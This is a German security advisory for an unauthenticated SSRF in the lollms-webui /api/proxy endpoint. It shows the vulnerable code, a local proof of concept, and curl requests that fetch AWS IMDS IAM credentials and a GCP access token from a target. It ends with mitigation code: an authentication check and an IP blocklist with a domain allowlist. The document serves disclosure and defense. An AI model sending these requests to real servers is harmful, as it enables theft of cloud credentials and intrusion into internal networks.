
CVE-2026-33340: Kritische SSRF in lollms-webui /api/proxy - Nicht authentifizierte Fälschung beliebiger Anfragen (CVSS 9.1)
| Feld | Detail |
|---|---|
| CVE-ID | CVE-2026-33340 |
| Schwachstelle | Server-Side Request Forgery (SSRF) |
| Betroffenes Produkt | ParisNeo/lollms-webui (LoLLMs WEBUI) |
| Schweregrad | Kritisch — CVSS 9.1 |
| CVSS-Vektor | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| CWE | CWE-918: Server-Side Request Forgery (SSRF) |
| Betroffene Komponente | lollms_core/lollms/server/endpoints/lollms_apps.py |
| Verwundbarer Endpunkt | /api/proxy |
| Sicherheitshinweis | GHSA-mcwr-5469-pxj4 |
| NVD | NVD-Eintrag |
| SentinelOne | SentinelOne-Analyse |
| Entdeckt von | Regaan R — ROT Independent Security Research Lab |
Eine kritische Server-Side-Request-Forgery-Schwachstelle (SSRF) wurde in lollms-webui, der Weboberfläche für Lord of Large Language and Multi modal Systems, identifiziert. Der Endpunkt @router.post("/api/proxy") ermöglicht es nicht authentifizierten Angreifern, den Server dazu zu zwingen, beliebige GET-Anfragen zu senden. Dies kann ausgenutzt werden, um auf interne Dienste zuzugreifen, lokale Netzwerke zu scannen oder sensible Cloud-Metadaten wie AWS-/GCP-IAM-Tokens zu exfiltrieren.
ParisNeo/lollms-webui / ParisNeo/lollmslollms_core/lollms/server/endpoints/lollms_apps.py (Zeilen 443-450)/api/proxyDie Schwachstelle besteht darin, dass die proxy-Funktion in lollms_apps.py keine Authentifizierung oder irgendeine Form der URL-/Domain-Validierung implementiert. Sie akzeptiert eine rohe URL-Zeichenfolge vom Benutzer und übergibt sie direkt an einen asynchronen HTTP-Client.
@router.post("/api/proxy")
async def proxy(request: ProxyRequest):
try:
async with httpx.AsyncClient() as client:
# No check_access() call — unauthenticated
# No URL validation — arbitrary destinations
response = await client.get(request.url)
return {"content": response.text}
except Exception as e:
raise HTTPException(status_code=500, detail=str(e))
check_access(lollmsElfServer, request.client_id) noch eine Authentifizierungs-Middleware auf, sodass jeder nicht authentifizierte Benutzer ihn aufrufen kann.httpx.AsyncClient().get() übergeben, ohne das Ziel gegen eine Whitelist zu prüfen oder private/interne IP-Bereiche zu blockieren.{"content": response.text} zurückgegeben, was eine vollständige Datenexfiltration ermöglicht.echo "INTERNAL_SECRET_DATA" > secret.txt
python3 -m http.server 8888
curl -X POST http://localhost:9600/api/proxy \
-H "Content-Type: application/json" \
-d '{"url": "http://localhost:8888/secret.txt"}'
{"content": "INTERNAL_SECRET_DATA\n"}
Der Server hat die Datei vom internen Dienst abgerufen und ihren Inhalt an den Angreifer zurückgegeben.
# AWS IMDSv1 — Retrieve IAM credentials
curl -X POST http://<target>:9600/api/proxy \
-H "Content-Type: application/json" \
-d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'
# GCP — Retrieve access token
curl -X POST http://<target>:9600/api/proxy \
-H "Content-Type: application/json" \
-d '{"url": "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"}'
| Szenario | Beschreibung |
|---|---|
| Diebstahl von Cloud-Anmeldedaten | Angreifer auf Cloud-Plattformen (AWS/GCP/Azure) können auf http://169.254.169.254/ zugreifen, um Instanzmetadaten, IAM-Anmeldedaten und Zugriffstokens abzurufen — was zur vollständigen Kompromittierung des Cloud-Kontos führt. |
| Pivoting im internen Netzwerk | Angreifer können interne Datenbanken, APIs, Admin-Panels und Verwaltungsschnittstellen ausspähen, die nicht über das öffentliche Internet erreichbar sind. |
| Zugriff auf Localhost-Dienste | Angreifer können an localhost gebundene Dienste (Redis, Elasticsearch, Docker-API, Datenbankkonsolen) erreichen, die lokalem Datenverkehr implizit vertrauen. |
| Interner Portscan | Die SSRF kann genutzt werden, um offene Ports und laufende Dienste im internen Netzwerk zu enumerieren, indem man Antwortzeiten und Fehlermeldungen beobachtet. |
| Datenexfiltration | Alle über HTTP erreichbaren Daten im Netzwerkzugriffsbereich des Servers können gelesen und an den Angreifer zurückgegeben werden. |
Attacker lollms-webui Server Internal Network
| | |
| POST /api/proxy | |
| {"url": "http://169.254..."} | |
|----------------------------------->| |
| | GET http://169.254.169.254/... |
| |------------------------------------->|
| | |
| | 200 OK (IAM credentials) |
| |<-------------------------------------|
| | |
| {"content": "<credentials>"} | |
|<-----------------------------------| |
@router.post("/api/proxy")
async def proxy(request: ProxyRequest):
check_access(lollmsElfServer, request.client_id) # Add this
# ...
from urllib.parse import urlparse
import ipaddress
BLOCKED_RANGES = [
ipaddress.ip_network("127.0.0.0/8"),
ipaddress.ip_network("10.0.0.0/8"),
ipaddress.ip_network("172.16.0.0/12"),
ipaddress.ip_network("192.168.0.0/16"),
ipaddress.ip_network("169.254.0.0/16"), # Cloud metadata
]
def is_safe_url(url: str) -> bool:
parsed = urlparse(url)
hostname = parsed.hostname
if hostname in ("localhost", ""):
return False
try:
ip = ipaddress.ip_address(hostname)
return not any(ip in network for network in BLOCKED_RANGES)
except ValueError:
# Hostname is a domain — resolve and check
import socket
resolved = socket.gethostbyname(hostname)
ip = ipaddress.ip_address(resolved)
return not any(ip in network for network in BLOCKED_RANGES)
ALLOWED_DOMAINS = ["api.example.com", "cdn.example.com"]
def is_whitelisted(url: str) -> bool:
parsed = urlparse(url)
return parsed.hostname in ALLOWED_DOMAINS